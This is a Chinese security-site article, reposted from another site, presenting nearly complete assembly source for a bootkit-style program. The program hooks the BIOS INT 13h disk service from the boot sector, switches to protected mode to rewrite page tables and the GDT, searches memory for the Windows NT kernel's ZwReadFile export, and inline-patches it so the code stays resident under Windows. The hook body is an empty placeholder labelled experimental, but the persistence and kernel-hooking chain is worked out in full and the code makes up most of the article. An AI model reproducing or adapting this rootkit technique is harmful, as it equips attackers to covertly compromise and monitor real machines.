| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 安全技术首页 | 技术研究 | 技术应用 | 数据安全 | 企业专区 |
WINNT下监视读入内存数据
程序从DOS/bios驻留内存到WINNT下监视读入内存数据
作者:成松林 文章来源:安全焦点 点击数: 更新时间:2008-5-3 18:52:37

  .586p ;########################################################################

  .model tiny ;#############目的:让程序永久驻留内存,监控读入内存数据.##################

  ;********************************;#步骤:一层层HOOK,进入保护模式,打开页模式...........******************##

  Code_Sise equ 200h ;#1、BIOS层:向量法HOOK->INT19H(在它内部HOOK)->INT13H,截取读到内存的数据##

  RealCode segment byte use16 ;# 参看BIOS嵌入开发教程.DOS层可延用HOOK INT13H服务.截取读到内存的数据##

  CodeStart: ;#2、INT13H服务:如果是SCSI硬盘,加载SCSI驱动,HOOK->SCSI读服务(分析加载的##

  cli ;# SCSI驱动服务文件,PE导出HOOK法(教程),这样程序继续监控读入内存的数据##

  xor bx,bx ;#3、WindowsNT层:NTLDR加载到内存,若不是SCSI硬盘,NTLDR读操作还是用INT13H##

  mov ss,bx ;# NTLDR完成参数配置及保护模式切换等后将控制权交给NTOSKRNL(WINNT内核)##

  mov sp,7c00h ;#4、HOOK NTLDR加载的NTOSKRNL(模块),可用方法:Inline HOOK法(注意:HOOK点)##

  mov ds,bx ;#5、HOOK NTOSKRNL服务:ZwReadFile API导出函数,可用HOOK PE加Inline HOOK.##

  mov ax,ds:[413h] ;#40:13,BIOS数据区保存内存大小,单位:KBs,#################################

  and al,NOT 3 ;#防止代码在分页的边界处,以便保证代码在保护模式分页后可以继续运行########

  sub ax,4 ;#分配4KB给我们代码用.(也就是刚刚一页的代码,防止分页边界及夸页等问题)####

  mov ds:[413h],ax ;########################################################################

  shl ax,(10-4) ;ax *= 1024 / 16 (KBs->线性地址=KBs*1024,段:除以16)

  mov es,ax ;分配的保留内存;es:0 -> 分配的保留内存地址

  mov ax,0201h

  mov bx,200h

  mov cx,2

  mov dx,0

  int 13h

  cld ;

  mov si,7c00h

  xor di,di ;代码被拷贝到es:di处(分配的保留内存里).注意:拷贝后偏移值改变,计算方法.

  mov cx,Code_Sise

  rep movsb ;拷贝代码到保留内存

  mov eax,ds:[13h*4] ;安装我们的INT13h代码

  mov es:[INT13H - CodeStart],eax;保存旧的int13向量值

  mov word ptr ds:[13h*4],INT13Hook

  mov ds:[(13h*4) + 2],es ;设置我们的INT13h向量

  sti

  push es

  push BootOS

  retf

  ;**************

  BootOS:

  xor ax,ax

  mov es,ax

  mov bx,7c00h

  mov ax,0201h

  mov cx,1

  mov dx,80h

  int 13h

  db 0eah

  dd 7c00h ;jmp far 0:7c00h ;引导系统

  ;#############################################################################################################

  ;#####NT加载模块:1、不是SCSI硬盘,如果在保护模式就切换到实模式.调用BIOS INT13H读数据,修改读的数据做HOOK等######

  ;##### 2、是SCSI硬盘:可以先在INT13H服务HOOK SCSI驱动的加载,同样在该服务里.修改读的数据做HOOK等######

  ;##### 3、注意:没在保护模式我们可切换过去.获取CR3修改页映射.和修改GDT表等.在保护模式就更简单了######

  ;#############################################################################################################

  ;********************我们的BIOS/DOS下HOOK INT13H服务**********************************************************

  INT13Hook: ;######这个硬盘操作服务是我们在实模式驻留运行服务的关键######

  pushf ;有指令要改变标志寄存器

  test ah, 0bdh ;是不是读数据到内存,ah=02,ah=42h

  jz Int13Hook_ReadRequest

  popf

  db 0eah

  INT13H dd ? ;跳转到旧的INT13H服务,注意:这种保存数据的方法

  Int13Hook_ReadRequest:

  popf

  pushf

  call dword ptr cs:[INT13H] ;调用旧INT13H服务的读

  jc Int13Hook_ret ;CF=1,读失败退出服务

  cli ;关闭中断

  pushfd

  push fs

  pushad ;保护现场

  call MakeFS4GBSegment ;返回FS段可写4GB内存.ebx = cr3的值.

  ;#############把代码映射成线性地址80000000h+cs*4地址,避免NT不映射我们代码在保留内存情况############

  mov eax,FS:[ebx+800h] ;eax=线性地址最高10位400h*4=800h,确定在cr3指向的页目录表的位置.

  and eax,0fffff000h ;去掉获取的二级页表属性位.eax=80000000h线性地址二级页表物理地址.

  .if eax != 0 ;二级页表物理地址不能为零

  xor ecx,ecx

  mov cx,cs ;我们直接映射成对应的物理地址

  mov edx,ecx ;故二级页表位置用cs值确定..

  shl edx,4 ;edx=我们代码段在内存的物理地址.

  or edx,163h ;设置页属性为:存在的且用户及系统可读/写

  shr ecx,8 ;cl=在二级页表的位置

  shl ecx,2 ;一个页项在页目录表或者在页表占4个字节.ecx=在二级页表位置

  mov FS:[eax+ecx],edx ;修改我们代码在物理内存的映射

  mov dword ptr FS:[eax],103h;修改物理页0(也就是BIOS/DOS区映射到80000000h)

  .endif ;注意:WINNT不会使用BIOS/DOS使用的页,即物理页0)

  ;###################################################################################################

  call MemScansAPIAddr

  .if edi ;###在内存搜索到我们要找的API函数地址,eax->ZwReadFile##

  mov esi,MyZwReadFileARG - Code32Start + Code16Size

  .if dword ptr cs:[esi] == 0 ;第一次HOOK时.获取被HOOK的指令.

  mov ebx,fs:[eax+1] ;##不同版NT:ZwReadFile函数指令不同,Inline HOOK弱点.##

  mov cs:[esi],ebx ;分析发现ZwReadFile开头都是mov eax,(不确定)

  xor edx,edx

  mov edx,cs ;MyZwReadFile在内存的物理地址

  shl edx,4 ;edx->我们代码段基址(cs*10H)

  add edx,Code16Size ;(edx->VirtualCode->MyZwReadFile) < (eax->ZwReadFile)

  mov ecx,Code32End - Code32Start ;ecx=代码长度

  mov ebx,600h ;ebx->拷贝到的物理地址

  .while ecx ;edx->拷贝前的物理地址

  mov al,FS:[edx]

  mov FS:[ebx],al

  inc edx

  inc ebx

  dec ecx

  .endw

  .endif

  mov ebx,600h ;将VirtualCode代码拷到物理地址600h,这段内存(物理页0)WINTNT不会用.

  mov byte ptr fs:[eax],0E8h;##采用Inline HOOK:命令E8h/xx/xx/xx/xx: CALL Rel(Rel=相对地址)##

  add eax,5 ;#####修正32位相对偏移指令CALL Rel所占的五字节########

  sub ebx,eax ;#####计算相对偏移字节数(相对转移分正负方向.这里负)###

  mov fs:[eax-4],ebx ;####填写计算好的地址到被HOOK地点####

  .endif

  Int13Hook_scan_done:

  popad

  pop fs

  popfd

  sti

  Int13Hook_ret:

  retf 2

  ;**************************************************************************************************************

  MakeFS4GBSegment proc ;#####设置FS段让dos可以用FS段访问4GB内存####

  mov esi,800h ;#####同时返回ebx=cr3让DOS可以更改页映射####

  sub eax,eax

  mov cs:[si],eax ;MyGdt开始ds:[si]

  mov cs:[si+4],eax ;空描述符

  mov ax,cs

  shl eax,4 ;代码段物理地址

  rol eax,8 ;设置代码段描述符

  mov cs:[si+8+7],al ;代码段基址高8位

  mov al,9ah ;存在的可执行可读代码段

  ror eax,8 ;低24位是代码段基址

  mov cs:[si+8+2],eax

  mov word ptr cs:[si+8],0ffffh ;设置段界限低16位

  mov byte ptr cs:[si+8+6],0 ;段界限16~19位含段属性高4位

  mov dword ptr cs:[si+8+8],0ffffh ;设置数据段描述符

  mov dword ptr cs:[si+8+8+4],0cf9200h ;数据段属性及基址

  mov dword ptr cs:[si+8+8+8],0

  mov dword ptr cs:[si+8+8+8+4],0 ;空描述符MyGdt结束cs:[4*8]

  xor eax,eax

  mov ax,cs

  mov cs:[Code_Base - CodeStart],cs ;###注意:变量所在内存位置###

  shl eax,4

  add eax,esi ;eax->MyGdt

  mov cs:[si+8+8+8+8+2],eax ;设置GDT开始物理地址到GDTR

  mov word ptr cs:[si+8+8+8+8],31 ;设置GDTR界限

  lgdt fword ptr cs:[si+8+8+8+8] ;设置新的GDTR(cs:[si+8+8+8+8])注意:以下几条指令执行要关中断

  in al,92h

  or al,2

  out 92h,al ;打开A20地址线

  mov eax,cr0

  or al,1

  mov cr0,eax ;进入保护模式

  DB 0eah ;jmp 08:PM_Service

  DW PM_Service ;跳转到保护模式代码执行

  DW 8 ;8代码段选择子

  PM_Service:

  mov ax,16 ;16数据段选择子(就是在MyGdt里的偏移)

  mov fs,ax ;***###fs->保护模式数据段###***

  mov ebx,cr3 ;***###ebx=cr3注意:只能在保护模式获取###***

  mov eax,cr0

  and al,0feh

  mov cr0,eax ;返回实模式

  db 0eah ;jmp SEG Real_Service:offset Real_Service

  dw Real_Service - CodeStart ;###注意:变量所在内存位置###

  Code_Base dw 0

  Real_Service: ;关闭A20地址线in al,92h|and al,0fdh|out 92h,al

  ret

  MakeFS4GBSegment endp

  ;*****************************************************************************************************

  org 1feh

  dw 0aa55h ;第一个扇区结束

  ;*****************************************************************************************************

  ;**************暴力内存搜索PE镜像->API(ZwReadFile)地址,注意:入口edi线性地址在保护模式下等情况!********

  MemScansAPIAddr proc ;入口:edi->内存开始 ecx=内存结束值注意:没保护现场

  ;出口:edi->Image Base,ebx->PE HOOK点,eax=旧函数地址 edi=0,没找到

  mov edi,400000h ;#####分析发现各版NT Kernel base在400000h ~ 900000h内版本越高越后######

  .while edi < 900000h ;#@!*##内存结束地址注意:未分页情况下不能超过内存总大小.#*%##

  mov eax,edi ;##为了缩短搜索时间注意:设置搜索范围##

  add eax,fs:[eax+3ch] ;eax->PE头

  .if word ptr fs:[edi] != 5a4dh || dword ptr fs:[eax] != 00004550h || dword ptr fs:[eax+78h] == 0

  add edi,1000h ;edi->下一个模块(模块以页为单位加载)

  .continue ;NOT(PE镜像有导出函数表)

  .endif

  ;#####找到一个镜像且有导出函数表:edi->Image Base,eax->PE头#####

  mov ebx,fs:[eax+78h]

  add ebx,EDI ;ebx->IMAGE_EXPORT_DIRECTORY

  mov ecx,fs:[ebx+18h] ;edx=以名称导出的函数总数

  mov eax,fs:[ebx+20h] ;eax->导出函数名地址表的RVA

  add eax,EDI ;eax->导出函数名地址表

  mov ebx,fs:[ebx+1ch] ;ebx->导出函数地址表的RVA

  add ebx,EDI ;ebx->导出函数地址表

  and ecx,0ffffh ;#####发现WINXP/2003循环成死循环.######

  .while ecx > 0

  mov esi,fs:[eax] ;esi->输出表中的当前函数名字RVA

  and esi,0ffffffh ;######发现在WIN2003上出错######

  add esi,EDI ;esi->输出表中的当前函数名字

  ;这样子适合API名字较短情况.适当改下代码可在32位代码用和变成通用函数.

  .if dword ptr fs:[esi]==6552775ah && dword ptr fs:[esi+4]==69466461h && word ptr fs:[esi+8]==656ch

  mov eax,fs:[ebx]

  add eax,EDI

  ret

  .endif

  dec ecx

  add eax,4 ;每个函数名地址占4个字节

  add ebx,4 ;每个函数地址指针占4个字节

  .endw

  add edi,1000h ;#####edi->下一个页.PE模块(镜像)总是以页为基址(边界)读入内存的#####

  .endw

  xor edi,edi ;没找到退出!

  ret

  MemScansAPIAddr endp

  Code16End:

  RealCode ends

  Code16Size equ Code16End - CodeStart ;Code16Size -> VirtualCode(相对偏移),便于后面计算地址用

  ;***#####################################以上代码工作在,实模式下.######################################***

  ;*********************************************************************************************************

  VirtualCode segment byte use32 ;##########可工作在32位保护模式的代码#########

  Code32Start:

  ;*********************我们的ZwReadFile函数,这里供实验没写什么!******************************

  MyZwReadFile proc ;尽量内存寻址使用相对寻址指令(call,jmp..等指令).

  mov eax,0 ;模拟实现Inline HOOK的特征码,不同版本这里不同

  MyZwReadFileARG equ $ - 4

  ret

  MyZwReadFile endp

  Code32End:

  ;*********************************************************************************************************

  VirtualCode ends

  end CodeStart

  ;编译ml aa.asm ren aa.com aa.img.文件就可以用WMware调试了....

文章录入:小张    责任编辑:小张 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    常用DOS命令全面收藏
    硬盘与内存四种查毒绝招
    木马利用HOOK和内存截取
    查找对方IP地址经典技巧
    警惕!ADSL远程盗号竟如此
    查找对方IP地址经典技巧
    局域网中受ARP欺骗攻击后
    抗DoS、DDoS防火墙产品大
    Mozilla网络安全服务库N
    Windows中提高内存使用效
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有